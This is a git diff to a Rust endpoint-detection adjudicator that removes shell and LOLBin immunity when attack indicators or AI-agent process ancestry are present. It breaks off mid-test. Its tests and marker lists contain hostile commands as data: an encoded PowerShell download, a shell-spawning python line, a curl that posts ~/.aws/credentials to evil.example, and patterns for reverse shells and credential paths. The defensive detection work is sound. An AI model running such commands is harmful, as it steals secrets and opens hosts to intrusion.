diff --git a/crates/killswitch-adjudication/src/adjudicator.rs b/crates/killswitch-adjudication/src/adjudicator.rs index b886a05..9aa4c40 100644 --- a/crates/killswitch-adjudication/src/adjudicator.rs +++ b/crates/killswitch-adjudication/src/adjudicator.rs @@ -18,10 +18,11 @@ use killswitch_types::adjudication::{ use crate::byzantine::build_kill_switch_fraud_proof; use crate::consensus::MultiVoterConsensusEngine; use crate::edr_bench::{load_all_bench_tasks, BenchmarkReport, EdrBenchHarness}; -use crate::immunity::inspect_process_lineage; +use crate::immunity::{inspect_process_lineage, LineageImmunityVerdict}; use crate::inventory::is_protected_local_binary_hash; -use crate::rea::AutonomousReaEngine; +use crate::rea::{has_active_lotl_or_exploit_indicators, AutonomousReaEngine}; use crate::voters::{ + combine_candidate_telemetry, has_active_agent_ancestry, has_active_dlp_or_event, AdjudicationContext, BehaviorVoter, DataLineageVoter, LiveNetworkVoter, MemoryVoter, ReaVoter, StaticArtifactVoter, ThreatIntelVoter, }; @@ -84,13 +85,39 @@ impl ZeroFalsePositiveAdjudicator { context: Option<&AdjudicationContext>, ) -> AdjudicationResult { let timestamp = chrono::Utc::now().to_rfc3339(); + let lineage = candidate + .pid + .map(|pid| inspect_process_lineage(pid, Some(&candidate.proc_name))); + let combined_telemetry = combine_candidate_telemetry(candidate); + let is_agent_runtime_child = matches!( + lineage, + Some(LineageImmunityVerdict::AgentRuntimeChild { .. }) + ) || has_active_agent_ancestry(context); + let has_active_indicators = is_agent_runtime_child + || has_active_lotl_or_exploit_indicators(&combined_telemetry) + || has_active_dlp_or_event(context); // --------------------------------------------------------------------- // Layer 1: Critical System PID & Process Lineage Immunity (Depth <= 5) + // NOTE: When active LOTL, exploit, DLP exfil, or AI agent ancestry indicators + // exist, Layer 1 preserves ONLY immutable OS kernel anchors (e.g. PID <= 4, + // csrss, lsass, wininit, systemd, launchd) and never shields shells or signed + // LOLBins. // --------------------------------------------------------------------- if let Some(pid) = candidate.pid { - let lineage = inspect_process_lineage(pid, Some(&candidate.proc_name)); - if let Some(veto_reason) = lineage.to_veto_reason() { + let immutable_veto = if is_immutable_os_kernel_pid(pid, &candidate.proc_name) { + Some(VetoReason::CriticalSystemPid) + } else if !has_active_indicators { + lineage.as_ref().and_then(|l| l.to_veto_reason()) + } else if !is_agent_runtime_child + && matches!(lineage, Some(LineageImmunityVerdict::ImmuneAncestor { .. })) + { + Some(VetoReason::ProtectedParentLineage) + } else { + None + }; + + if let Some(veto_reason) = immutable_veto { let explanation = format!( "{}: target PID {} ({}) is protected under canonical system immunity", veto_reason.as_str(), @@ -142,84 +169,95 @@ impl ZeroFalsePositiveAdjudicator { // --------------------------------------------------------------------- // Layer 2: In-Memory Protected Local Binary BLAKE3 Inventory + // (Bypassed whenever active LOTL/agent/DLP threat indicators exist) // --------------------------------------------------------------------- - if let Some(ref h) = candidate.blake3_hash { - if is_protected_local_binary_hash(h) { - let explanation = format!( - "PROTECTED_LOCAL_BINARY_HASH_VETO: binary hash {} matches protected inventory", - h - ); - let fraud_proof = candidate.peer_id.as_deref().map(|peer| { - Box::new(build_kill_switch_fraud_proof( - peer, - &candidate.proc_name, - h, - &explanation, - )) - }); - let seal = - AdjudicationResult::compute_seal("Vetoed", 0.0, &explanation, ×tamp); - return AdjudicationResult::Vetoed { - reason: VetoReason::ProtectedBinaryHash, - explanation, - fraud_proof, - trust_verdict: Some(BinaryTrustVerdict::TrustedProtectedHash { - blake3_hash: h.clone(), - }), - adjudication_seal: seal, - timestamp, - }; + if !has_active_indicators { + if let Some(ref h) = candidate.blake3_hash { + if is_protected_local_binary_hash(h) { + let explanation = format!( + "PROTECTED_LOCAL_BINARY_HASH_VETO: binary hash {} matches protected inventory", + h + ); + let fraud_proof = candidate.peer_id.as_deref().map(|peer| { + Box::new(build_kill_switch_fraud_proof( + peer, + &candidate.proc_name, + h, + &explanation, + )) + }); + let seal = + AdjudicationResult::compute_seal("Vetoed", 0.0, &explanation, ×tamp); + return AdjudicationResult::Vetoed { + reason: VetoReason::ProtectedBinaryHash, + explanation, + fraud_proof, + trust_verdict: Some(BinaryTrustVerdict::TrustedProtectedHash { + blake3_hash: h.clone(), + }), + adjudication_seal: seal, + timestamp, + }; + } } } // --------------------------------------------------------------------- // Layer 3: Authenticode & Windows Catalog Validation + // (Bypassed whenever active LOTL/agent/DLP threat indicators exist so signed + // LOLBins like powershell.exe / curl.exe / cmd.exe are never auto-vetoed) // --------------------------------------------------------------------- - if let Some(ref path_str) = candidate.binary_path { - let path = Path::new(path_str); - if path.is_file() { - let trust_verdict = verify_binary_cryptographic_trust(path); - if trust_verdict.is_trusted() { - let (reason, explanation) = match &trust_verdict { - BinaryTrustVerdict::TrustedAuthenticode { signer_subject, .. } => ( - VetoReason::AuthenticodeTrustedVendor, - format!( - "AUTHENTICODE_TRUSTED_VENDOR_VETO: binary signed by {:?}", - signer_subject + if !has_active_indicators { + if let Some(ref path_str) = candidate.binary_path { + let path = Path::new(path_str); + if path.is_file() { + let trust_verdict = verify_binary_cryptographic_trust(path); + if trust_verdict.is_trusted() { + let (reason, explanation) = match &trust_verdict { + BinaryTrustVerdict::TrustedAuthenticode { signer_subject, .. } => ( + VetoReason::AuthenticodeTrustedVendor, + format!( + "AUTHENTICODE_TRUSTED_VENDOR_VETO: binary signed by {:?}", + signer_subject + ), ), - ), - BinaryTrustVerdict::TrustedCatalog { .. } => ( - VetoReason::WindowsCatalogSigned, - "WINDOWS_CATALOG_SIGNED_VETO: binary verified via Windows Security Catalog" - .to_string(), - ), - BinaryTrustVerdict::TrustedProtectedHash { blake3_hash } => ( - VetoReason::ProtectedBinaryHash, - format!( - "PROTECTED_LOCAL_BINARY_HASH_VETO: binary hash matches {}", - blake3_hash + BinaryTrustVerdict::TrustedCatalog { .. } => ( + VetoReason::WindowsCatalogSigned, + "WINDOWS_CATALOG_SIGNED_VETO: binary verified via Windows Security Catalog" + .to_string(), ), - ), - BinaryTrustVerdict::TrustedSystemPackage { .. } => ( - VetoReason::BenignDevToolchain, - "TRUSTED_SYSTEM_PACKAGE_VETO: binary verified by system package manager" - .to_string(), - ), - _ => ( - VetoReason::AuthenticodeTrustedVendor, - "TRUSTED_BINARY_VETO".to_string(), - ), - }; - let seal = - AdjudicationResult::compute_seal("Vetoed", 0.0, &explanation, ×tamp); - return AdjudicationResult::Vetoed { - reason, - explanation, - fraud_proof: None, - trust_verdict: Some(trust_verdict), - adjudication_seal: seal, - timestamp, - }; + BinaryTrustVerdict::TrustedProtectedHash { blake3_hash } => ( + VetoReason::ProtectedBinaryHash, + format!( + "PROTECTED_LOCAL_BINARY_HASH_VETO: binary hash matches {}", + blake3_hash + ), + ), + BinaryTrustVerdict::TrustedSystemPackage { .. } => ( + VetoReason::BenignDevToolchain, + "TRUSTED_SYSTEM_PACKAGE_VETO: binary verified by system package manager" + .to_string(), + ), + _ => ( + VetoReason::AuthenticodeTrustedVendor, + "TRUSTED_BINARY_VETO".to_string(), + ), + }; + let seal = AdjudicationResult::compute_seal( + "Vetoed", + 0.0, + &explanation, + ×tamp, + ); + return AdjudicationResult::Vetoed { + reason, + explanation, + fraud_proof: None, + trust_verdict: Some(trust_verdict), + adjudication_seal: seal, + timestamp, + }; + } } } } @@ -234,11 +272,11 @@ impl ZeroFalsePositiveAdjudicator { let rea_eval = self.rea_engine.evaluate_detector_candidate( &candidate.source_detector, target_id, - &candidate.detection_reason, + &combined_telemetry, candidate.initial_confidence as f64, ); - if rea_eval.benign_veto { + if !has_active_indicators && rea_eval.benign_veto { let explanation = format!( "BENIGN_DEV_TOOLCHAIN_VETO: REA engine evaluated candidate as benign system/dev tool: {}", rea_eval.explanation @@ -331,4 +369,160 @@ mod tests { assert!(result.is_vetoed()); assert_eq!(result.confidence(), 0.0); } + + #[tokio::test] + async fn test_adjudicator_does_not_veto_signed_lolbin_with_active_command_line() { + let adjudicator = ZeroFalsePositiveAdjudicator::new(); + let test_hash = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + crate::inventory::register_protected_binary_hash(test_hash); + + let mut candidate = ThreatCandidate::new( + Some(9998), + "powershell.exe", + "live_os_ai_breakout_sentinel", + "Suspicious PowerShell cradle [Token Escalation Detected]", + 0.96, + EvidenceClass::Behavior, + ); + candidate.blake3_hash = Some(test_hash.to_string()); + candidate.command_line = Some( + "powershell.exe -EncodedCommand ZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnAA== Invoke-WebRequest https://evil.example/payload".to_string(), + ); + #[cfg(windows)] + { + candidate.binary_path = + Some("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string()); + } + + let result = adjudicator + .adjudicate_threat_candidate(&candidate, None) + .await; + assert!( + !result.is_vetoed(), + "Signed LOLBin with active -EncodedCommand + HTTP download MUST NOT be vetoed: {:?}", + result + ); + assert!( + result.is_confirmed(), + "Multi-class corroboration (Behavior + REA StaticArtifact + LiveNetwork + Memory) must confirm LOLBin breakout: {:?}", + result + ); + } + + #[tokio::test] + async fn test_adjudicator_does_not_veto_python_or_curl_under_agent_lineage() { + let adjudicator = ZeroFalsePositiveAdjudicator::new(); + let test_hash = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + crate::inventory::register_protected_binary_hash(test_hash); + + let ctx = AdjudicationContext { + process_ancestry: vec![(1001, "cursor.exe".to_string()), (1002, "bash".to_string())], + ..Default::default() + }; + + let mut py_cand = ThreatCandidate::new( + Some(9997), + "python3", + "live_os_ai_breakout_sentinel", + "Reverse socket spawned by child", + 0.95, + EvidenceClass::Behavior, + ); + py_cand.blake3_hash = Some(test_hash.to_string()); + py_cand.command_line = + Some("python3 -c 'import socket; os.system(\"/bin/sh\")' -enc payload".to_string()); + + let py_res = adjudicator + .adjudicate_threat_candidate(&py_cand, Some(&ctx)) + .await; + assert!( + !py_res.is_vetoed(), + "python3 under agent ancestry + active indicators must not be vetoed: {:?}", + py_res + ); + + let mut curl_cand = ThreatCandidate::new( + Some(9996), + "curl", + "live_os_ai_breakout_sentinel", + "Outbound credential exfil attempt", + 0.94, + EvidenceClass::LiveNetwork, + ); + curl_cand.command_line = + Some("curl -X POST https://evil.example -d @~/.aws/credentials".to_string()); + + let curl_res = adjudicator + .adjudicate_threat_candidate(&curl_cand, Some(&ctx)) + .await; + assert!( + !curl_res.is_vetoed(), + "curl targeting .aws/credentials under agent lineage must not be vetoed: {:?}", + curl_res + ); + } + + #[tokio::test] + async fn test_adjudicator_preserves_benign_cargo_and_clean_get_service() { + let adjudicator = ZeroFalsePositiveAdjudicator::new(); + + let cargo_cand = ThreatCandidate::new( + Some(9995), + "cargo.exe", + "YaraDetector", + "High entropy detected", + 0.85, + EvidenceClass::StaticArtifact, + ); + let cargo_res = adjudicator + .adjudicate_threat_candidate(&cargo_cand, None) + .await; + assert!( + cargo_res.is_vetoed(), + "Plain cargo.exe High entropy detected should remain vetoed: {:?}", + cargo_res + ); + + let clean_ps_cand = ThreatCandidate::new( + Some(9994), + "powershell.exe", + "CLIWatcher", + "Get-Service admin command", + 0.15, + EvidenceClass::Behavior, + ); + let clean_ps_res = adjudicator + .adjudicate_threat_candidate(&clean_ps_cand, None) + .await; + assert!( + !clean_ps_res.is_confirmed() + && !clean_ps_res.is_awaiting_confirmation() + && clean_ps_res.confidence() < 0.5, + "Clean powershell.exe Get-Service without lineage context must stay monitor-only (never escalate/contain): {:?}", + clean_ps_res + ); + + let clean_ps_ctx = AdjudicationContext { + lineage_evidence: Some(crate::voters::LineageAdjudicationEvidence { + actor_pid: 9994, + actor_exe: "powershell.exe".to_string(), + parent_pid: Some(800), + destination: String::new(), + egress_verdict: crate::voters::EgressVerdict::Allow, + baggage: None, + causal_links: vec![], + input_datasets: vec![], + provenance_hops: vec![], + }), + ..Default::default() + }; + let clean_ps_ctx_res = adjudicator + .adjudicate_threat_candidate(&clean_ps_cand, Some(&clean_ps_ctx)) + .await; + assert!( + clean_ps_ctx_res.is_vetoed(), + "Clean powershell.exe Get-Service with clean DataLineage verdict should be vetoed: {:?}", + clean_ps_ctx_res + ); + } } diff --git a/crates/killswitch-adjudication/src/immunity.rs b/crates/killswitch-adjudication/src/immunity.rs index 1d4ea3c..2a3ed7f 100644 --- a/crates/killswitch-adjudication/src/immunity.rs +++ b/crates/killswitch-adjudication/src/immunity.rs @@ -117,6 +117,16 @@ fn is_blanket_immunity_denied(name: &str) -> bool { /// Inspect target PID and traverse its parent ancestry up to depth 5. pub fn inspect_process_lineage(target_pid: u32, proc_name: Option<&str>) -> LineageImmunityVerdict { let p_name = proc_name.unwrap_or(""); + let registry = killswitch_core::TrackedAgentTreeRegistry::global(); + if !is_immutable_os_kernel_pid(target_pid, p_name) && registry.is_tracked_pid(target_pid) { + let res = registry.resolve_offending_process_subtree(target_pid, proc_name, &[]); + return LineageImmunityVerdict::AgentRuntimeChild { + ancestor_pid: res.root_pid, + ancestor_name: res.root_name.unwrap_or_else(|| p_name.to_string()), + depth: res.ancestor_chain.len().saturating_sub(1), + }; + } + let denied = is_blanket_immunity_denied(p_name); // 1. Direct Target Immunity Check diff --git a/crates/killswitch-adjudication/src/rea/engine.rs b/crates/killswitch-adjudication/src/rea/engine.rs index 7e56ae7..2f2203a 100644 --- a/crates/killswitch-adjudication/src/rea/engine.rs +++ b/crates/killswitch-adjudication/src/rea/engine.rs @@ -28,9 +28,17 @@ pub fn has_active_lotl_or_exploit_indicators(text: &str) -> bool { "lsass", "-enc ", "-encodedcommand", + " -ec ", "frombase64string", "downloadstring", "invoke-expression", + "invoke-webrequest", + "invoke-restmethod", + "net.webclient", + "-executionpolicy bypass", + "-ep bypass", + "-windowstyle hidden", + "-w hidden", "iex(", "canarytraptripped", "canaryalert", @@ -48,6 +56,42 @@ pub fn has_active_lotl_or_exploit_indicators(text: &str) -> bool { "cobalt", "meterpreter", "reverse_tcp", + "reverse shell", + "/dev/tcp/", + "/dev/udp/", + "mkfifo", + "nc -e", + "ncat -e", + "socat exec:", + "python -c", + "python3 -c", + "perl -e", + "ruby -e", + "os.system(", + "subprocess.popen", + "curl ", + "wget ", + "certutil -urlcache", + "bitsadmin /transfer", + "mshta http", + "regsvr32 ", + "ld_preload=", + "/proc/self/mem", + "ptrace", + "nsenter", + "/var/run/docker.sock", + "release_agent", + ".aws/credentials", + ".ssh/id_rsa", + ".ssh/id_ed25519", + ".kube/config", + ".docker/config.json", + "/etc/shadow", + "169.254.169.254", + "metadata.google.internal", + "crownjewel", + "[token escalation detected]", + "[privileged binary metadata probed]", ]; ACTIVE_ATTACK_MARKERS.iter().any(|m| lower.contains(m)) } @@ -411,7 +455,9 @@ pub fn is_rea_benign_system_or_dev_process(proc_or_path: &str, reason: Option<&s return false; } - // Benign Developer Tools & System Whitelist + // Benign Developer Compilers, IDEs & Immutable System Daemons + // NOTE: Interactive shells and scripting interpreters (powershell, pwsh, cmd, python, node) + // are intentionally excluded so LOTL or agent-spawned children cannot hijack REA benign vetoes. matches!( base_lower.as_str(), "cargo.exe" @@ -426,17 +472,9 @@ pub fn is_rea_benign_system_or_dev_process(proc_or_path: &str, reason: Option<&s | "antigravity.exe" | "git.exe" | "git" - | "node.exe" - | "node" - | "python.exe" - | "python" - | "python3" | "cl.exe" | "link.exe" | "lld-link.exe" - | "cmd.exe" - | "powershell.exe" - | "pwsh.exe" | "svchost.exe" | "explorer.exe" | "systemd" diff --git a/crates/killswitch-adjudication/src/voters.rs b/crates/killswitch-adjudication/src/voters.rs index 09bb5f6..dabf6f7 100644 --- a/crates/killswitch-adjudication/src/voters.rs +++ b/crates/killswitch-adjudication/src/voters.rs @@ -8,7 +8,9 @@ //! `StaticArtifactVoter`, and `ThreatIntelVoter` (with capping <= 0.49). use async_trait::async_trait; -use killswitch_core::killchain::is_critical_system_pid; +use killswitch_core::killchain::{ + is_critical_system_pid, is_developer_or_agent_runtime, is_immutable_os_kernel_pid, +}; use killswitch_types::adjudication::{EvidenceClass, ThreatCandidate, VoteAction, VoteResult}; use killswitch_types::telemetry::SecurityEvent; use serde::{Deserialize, Serialize}; @@ -152,6 +154,67 @@ pub struct AdjudicationContext { pub is_dev_environment: bool, } +/// Combines candidate detection reason and command line into a single analysis string. +pub fn combine_candidate_telemetry(candidate: &ThreatCandidate) -> String { + match candidate.command_line.as_deref() { + Some(cmd) if !cmd.trim().is_empty() => { + format!("{} | cmd: {}", candidate.detection_reason, cmd) + } + _ => candidate.detection_reason.clone(), + } +} + +/// Returns `true` if `AdjudicationContext` carries AI agent / developer-runtime ancestry +/// in `process_ancestry` or `lineage_evidence.provenance_hops`. +pub fn has_active_agent_ancestry(context: Option<&AdjudicationContext>) -> bool { + let Some(ctx) = context else { + return false; + }; + if ctx + .process_ancestry + .iter() + .any(|(_, name)| is_developer_or_agent_runtime(name)) + { + return true; + } + if let Some(ref lineage) = ctx.lineage_evidence { + return lineage.provenance_hops.iter().any(|hop| { + let proc_name = hop.rsplit_once(':').map(|(n, _)| n).unwrap_or(hop); + is_developer_or_agent_runtime(proc_name) + }); + } + false +} + +/// Returns `true` if `AdjudicationContext` carries an active security event, DLP block, +/// quarantine baggage, or CrownJewel classification. +pub fn has_active_dlp_or_event(context: Option<&AdjudicationContext>) -> bool { + let Some(ctx) = context else { + return false; + }; + if ctx.security_event.is_some() { + return true; + } + if let Some(ref lineage) = ctx.lineage_evidence { + if lineage.egress_verdict.is_block() { + return true; + } + if let Some(ref baggage) = lineage.baggage { + if baggage.is_quarantine() || baggage.classification == DlpClassification::CrownJewel { + return true; + } + } + if lineage + .input_datasets + .iter() + .any(|d| d.facets.dlp_classification == DlpClassification::CrownJewel) + { + return true; + } + } + false +} + /// Abstract voter contributing evidence to the multi-voter consensus engine. #[async_trait] pub trait ThreatVoter: Send + Sync { @@ -262,7 +325,27 @@ impl ThreatVoter for DataLineageVoter { let lineage = context.and_then(|ctx| ctx.lineage_evidence.as_ref())?; let actor_pid = lineage.actor_pid; let actor_exe = &lineage.actor_exe; - let is_critical = is_critical_system_pid(actor_pid, actor_exe); + fn is_clean_admin_shell_name(exe: &str) -> bool { + let trimmed = exe.trim().trim_matches('"').trim_matches('\''); + let base = trimmed + .rsplit(['\\', '/']) + .next() + .unwrap_or(trimmed) + .to_ascii_lowercase(); + matches!( + base.as_str(), + "powershell.exe" | "powershell" | "pwsh.exe" | "pwsh" + ) + } + + let is_immutable_kernel = is_immutable_os_kernel_pid(actor_pid, actor_exe); + let is_critical_shell_or_system = is_critical_system_pid(actor_pid, actor_exe); + let is_clean_admin_shell = is_clean_admin_shell_name(actor_exe) + && !killswitch_core::TrackedAgentTreeRegistry::global().is_tracked_pid(actor_pid); + let combined_low = combine_candidate_telemetry(candidate).to_ascii_lowercase(); + let active_threat_or_agent = has_active_agent_ancestry(context) + || has_active_dlp_or_event(context) + || crate::rea::has_active_lotl_or_exploit_indicators(&combined_low); // Case 1: Active Egress Block on Quarantined / CrownJewel Data if let EgressVerdict::Block { @@ -275,12 +358,11 @@ impl ThreatVoter for DataLineageVoter { .map(|b| b.source_sha256.as_str()) .unwrap_or("unknown"); - if is_critical { - // Critical system process (e.g. powershell.exe) attempting egress of CrownJewel data: - // Recommend network isolation / destination blocking, but annotate that the shell itself - // must NOT be frozen/bricked, preserving OS stability. + if is_immutable_kernel { + // Immutable OS kernel anchor (e.g., PID <= 4, csrss.exe, systemd): + // Recommend network isolation / destination blocking while preserving kernel PID. info!( - "🚨 [LINEAGE-CRITICAL-PID] Critical system process '{}' (PID {}) attempted CrownJewel egress to '{}'", + "🚨 [LINEAGE-CRITICAL-PID] Immutable OS kernel anchor '{}' (PID {}) attempted CrownJewel egress to '{}'", actor_exe, actor_pid, lineage.destination ); return Some(VoteResult { @@ -289,7 +371,7 @@ impl ThreatVoter for DataLineageVoter { confidence: 0.96, evidence_class: EvidenceClass::LiveNetwork, explanation: format!( - "DLP Egress Violation in Critical System Process '{}' (PID {}): trace_id={} destination={} source_hashes=[{}] datasets={} hops={:?}. Preserving PID from freeze termination; network isolation recommended.", + "DLP Egress Violation in Immutable Kernel Anchor '{}' (PID {}): trace_id={} destination={} source_hashes=[{}] datasets={} hops={:?}. Preserving PID from freeze termination; network isolation recommended.", actor_exe, actor_pid, trace_id, lineage.destination, source_hashes, lineage.input_datasets.len(), lineage.provenance_hops ), voter_name: self.name().to_string(), @@ -297,7 +379,7 @@ impl ThreatVoter for DataLineageVoter { timestamp: chrono::Utc::now().to_rfc3339(), }); } else { - // Non-critical process (e.g. curl.exe, 7z.exe) exfiltrating sensitive data: + // Shell, interpreter, agent child, or non-kernel process exfiltrating sensitive data: info!( "🚨 [LINEAGE-EXFILTRATION] Exfiltration detected in '{}' (PID {}) to '{}': trace_id={}", actor_exe, actor_pid, lineage.destination, trace_id @@ -337,25 +419,24 @@ impl ThreatVoter for DataLineageVoter { } } - // Case 3: Legitimate Admin Process without Taint or Block - if is_critical && lineage.egress_verdict == EgressVerdict::Allow { - let has_quarantine_taint = lineage - .baggage - .as_ref() - .map(|b| b.is_quarantine()) - .unwrap_or(false); - if !has_quarantine_taint { - debug!( - "🛡️ [LINEAGE-BENIGN-VETO] Critical system process '{}' (PID {}) attested clean with zero quarantined taint", - actor_exe, actor_pid - ); - return Some(VoteResult::new_veto( - Some(actor_pid), - format!("Critical system process '{}' (PID {}) attested clean by DataLineageVoter (no quarantine taint)", actor_exe, actor_pid), - self.name(), - EvidenceClass::Behavior, - )); - } + // Case 3: Legitimate Admin Process without Taint, Block, Agent Lineage, or LOTL Indicators + if (is_critical_shell_or_system + || (is_clean_admin_shell + && lineage.baggage.is_none() + && lineage.input_datasets.is_empty())) + && lineage.egress_verdict == EgressVerdict::Allow + && !active_threat_or_agent + { + debug!( + "🛡️ [LINEAGE-BENIGN-VETO] Critical system process '{}' (PID {}) attested clean with zero quarantined taint", + actor_exe, actor_pid + ); + return Some(VoteResult::new_veto( + Some(actor_pid), + format!("Critical system process '{}' (PID {}) attested clean by DataLineageVoter (no quarantine taint)", actor_exe, actor_pid), + self.name(), + EvidenceClass::Behavior, + )); } // Candidate fallback check: if candidate matches actor @@ -415,26 +496,45 @@ impl ThreatVoter for ReaVoter { async fn vote( &self, candidate: &ThreatCandidate, - _context: Option<&AdjudicationContext>, + context: Option<&AdjudicationContext>, ) -> Option { let target = candidate .binary_path .as_deref() .unwrap_or(&candidate.proc_name); + let combined_reason = combine_candidate_telemetry(candidate); let rea_vote = self.engine.cast_consensus_vote( target, &candidate.source_detector, - &candidate.detection_reason, + &combined_reason, candidate.initial_confidence as f64, ); - if rea_vote.benign_veto { + let block_benign_veto = has_active_agent_ancestry(context) + || has_active_dlp_or_event(context) + || crate::rea::has_active_lotl_or_exploit_indicators(&combined_reason); + + if rea_vote.benign_veto && !block_benign_veto { Some(VoteResult::new_veto( candidate.pid, rea_vote.reason, self.name(), self.evidence_class(), )) + } else if rea_vote.benign_veto && block_benign_veto { + Some(VoteResult { + candidate_pid: candidate.pid, + action: VoteAction::Alert, + confidence: candidate.initial_confidence.max(0.80), + evidence_class: self.evidence_class(), + explanation: format!( + "[REA-Voter] Benign veto overridden due to active threat/agent/DLP context: {}", + combined_reason + ), + voter_name: self.name().to_string(), + weight: 1.0, + timestamp: rea_vote.timestamp, + }) } else if rea_vote.decision == "ESCALATE_MALICIOUS" { Some(VoteResult { candidate_pid: candidate.pid, @@ -494,28 +594,45 @@ impl ThreatVoter for LiveNetworkVoter { candidate: &ThreatCandidate, _context: Option<&AdjudicationContext>, ) -> Option { - if candidate.evidence_class == EvidenceClass::LiveNetwork - || candidate - .detection_reason - .to_ascii_lowercase() - .contains("c2") - || candidate - .detection_reason - .to_ascii_lowercase() - .contains("beacon") - || candidate - .detection_reason - .to_ascii_lowercase() - .contains("network") - { + let combined_low = combine_candidate_telemetry(candidate).to_ascii_lowercase(); + const NET_MARKERS: &[&str] = &[ + "c2", + "beacon", + "network", + "downloadstring", + "invoke-webrequest", + "invoke-restmethod", + "net.webclient", + "http://", + "https://", + "reverse_tcp", + "reverse shell", + "/dev/tcp/", + "/dev/udp/", + "nc -e", + "ncat -e", + "curl ", + "wget ", + "certutil -urlcache", + "bitsadmin /transfer", + ]; + let has_net_marker = NET_MARKERS.iter().any(|m| combined_low.contains(m)); + if candidate.evidence_class == EvidenceClass::LiveNetwork || has_net_marker { + let conf = if has_net_marker + && crate::rea::has_active_lotl_or_exploit_indicators(&combined_low) + { + candidate.initial_confidence.max(0.92) + } else { + candidate.initial_confidence + }; Some(VoteResult { candidate_pid: candidate.pid, - action: if candidate.initial_confidence >= 0.80 { + action: if conf >= 0.80 { VoteAction::Isolate } else { VoteAction::Alert }, - confidence: candidate.initial_confidence, + confidence: conf, evidence_class: EvidenceClass::LiveNetwork, explanation: format!("[LiveNetwork] {}", candidate.detection_reason), voter_name: self.name().to_string(), @@ -636,13 +753,26 @@ impl ThreatVoter for MemoryVoter { candidate: &ThreatCandidate, _context: Option<&AdjudicationContext>, ) -> Option { - let reason_low = candidate.detection_reason.to_ascii_lowercase(); + let combined_low = combine_candidate_telemetry(candidate).to_ascii_lowercase(); + const MEM_MARKERS: &[&str] = &[ + "lsass", + "minidump", + "injection", + "virtualallocex", + "writeprocessmemory", + "createremotethread", + "ntmapviewofsection", + "queueuserapc", + "comsvcs", + "sekurlsa", + "mimikatz", + "frombase64string", + "-encodedcommand", + "-enc ", + "[token escalation detected]", + ]; if candidate.evidence_class == EvidenceClass::Memory - || reason_low.contains("lsass") - || reason_low.contains("minidump") - || reason_low.contains("injection") - || reason_low.contains("virtualallocex") - || reason_low.contains("writeprocessmemory") + || MEM_MARKERS.iter().any(|m| combined_low.contains(m)) { Some(VoteResult { candidate_pid: candidate.pid, @@ -650,7 +780,7 @@ impl ThreatVoter for MemoryVoter { confidence: candidate.initial_confidence.max(0.92), evidence_class: EvidenceClass::Memory, explanation: format!( - "[Memory] Code injection or memory anomaly: {}", + "[Memory] Code injection, credential access, or in-memory execution anomaly: {}", candidate.detection_reason ), voter_name: self.name().to_string(), diff --git a/crates/killswitch-adjudication/tests/data_lineage_voter_tests.rs b/crates/killswitch-adjudication/tests/data_lineage_voter_tests.rs index 90ed44f..22237c9 100644 --- a/crates/killswitch-adjudication/tests/data_lineage_voter_tests.rs +++ b/crates/killswitch-adjudication/tests/data_lineage_voter_tests.rs @@ -163,10 +163,9 @@ async fn test_uncompromised_admin_powershell_veto() { } #[tokio::test] -async fn test_compromised_admin_powershell_exfiltration_preserves_shell() { +async fn test_compromised_admin_powershell_exfiltration_triggers_containment() { // When powershell.exe itself attempts egress of CrownJewel data, - // DataLineageVoter emits an Isolate vote but explicitly notes - // that the shell PID must not be frozen/bricked, recommending network isolation. + // DataLineageVoter must NOT exempt it from process freeze containment. let voter = DataLineageVoter::new(); let baggage = TaintBaggage::new( @@ -211,7 +210,7 @@ async fn test_compromised_admin_powershell_exfiltration_preserves_shell() { assert_eq!(v.confidence, 0.96); assert!(v .explanation - .contains("Preserving PID from freeze termination; network isolation recommended")); + .contains("Verified Multi-Hop DLP Exfiltration")); } #[tokio::test] diff --git a/crates/killswitch-adjudication/tests/empirical_challenge_m3_2.rs b/crates/killswitch-adjudication/tests/empirical_challenge_m3_2.rs index 8637641..11e9aea 100644 --- a/crates/killswitch-adjudication/tests/empirical_challenge_m3_2.rs +++ b/crates/killswitch-adjudication/tests/empirical_challenge_m3_2.rs @@ -317,7 +317,8 @@ async fn test_empirical_admin_shell_veto_vs_lotl_exfiltration() { EvidenceClass::LiveNetwork, ); - // DataLineageVoter recommends network containment while preserving the critical shell PID from process freeze + // DataLineageVoter must treat compromised powershell.exe attempting CrownJewel egress + // as an actionable exfiltration target (NOT preserve it under critical shell immunity). let comp_vote = voter .vote(&compromised_candidate, Some(&compromised_context)) .await; @@ -328,23 +329,19 @@ async fn test_empirical_admin_shell_veto_vs_lotl_exfiltration() { assert!( v_comp .explanation - .contains("Preserving PID from freeze termination; network isolation recommended"), - "Vote must explicitly preserve shell PID from process freeze" + .contains("Verified Multi-Hop DLP Exfiltration"), + "Compromised shell exfiltrating CrownJewel must not receive freeze preservation immunity" ); - // Full adjudicator evaluation: Layer 1 process immunity ensures critical shell PID is NEVER frozen or killed + // Full adjudicator evaluation: active CrownJewel / EgressVerdict::Block bypasses + // Layer 1 shell immunity so compromised powershell.exe is NOT vetoed. let comp_adjudication = adjudicator .adjudicate_threat_candidate(&compromised_candidate, Some(&compromised_context)) .await; assert!( - comp_adjudication.is_vetoed(), - "Adjudicator must preserve powershell.exe from process kill/freeze containment" + !comp_adjudication.is_vetoed(), + "Adjudicator must NOT veto compromised powershell.exe performing CrownJewel egress" ); - if let AdjudicationResult::Vetoed { reason, .. } = comp_adjudication { - assert_eq!(reason, VetoReason::CriticalSystemPid); - } else { - panic!("Expected Vetoed result"); - } } // ============================================================================ diff --git a/crates/killswitch-adjudication/tests/phase2_behavior_first_tests.rs b/crates/killswitch-adjudication/tests/phase2_behavior_first_tests.rs new file mode 100644 index 0000000..160ffb2 --- /dev/null +++ b/crates/killswitch-adjudication/tests/phase2_behavior_first_tests.rs @@ -0,0 +1,118 @@ +use killswitch_adjudication::immunity::{inspect_process_lineage, LineageImmunityVerdict}; +use killswitch_adjudication::ZeroFalsePositiveAdjudicator; +use killswitch_core::TrackedAgentTreeRegistry; +use killswitch_types::adjudication::{EvidenceClass, ThreatCandidate}; + +struct RegistryCleanupGuard(Vec); + +impl Drop for RegistryCleanupGuard { + fn drop(&mut self) { + let reg = TrackedAgentTreeRegistry::global(); + for &pid in &self.0 { + reg.unregister_pid(pid); + } + } +} + +#[tokio::test] +async fn 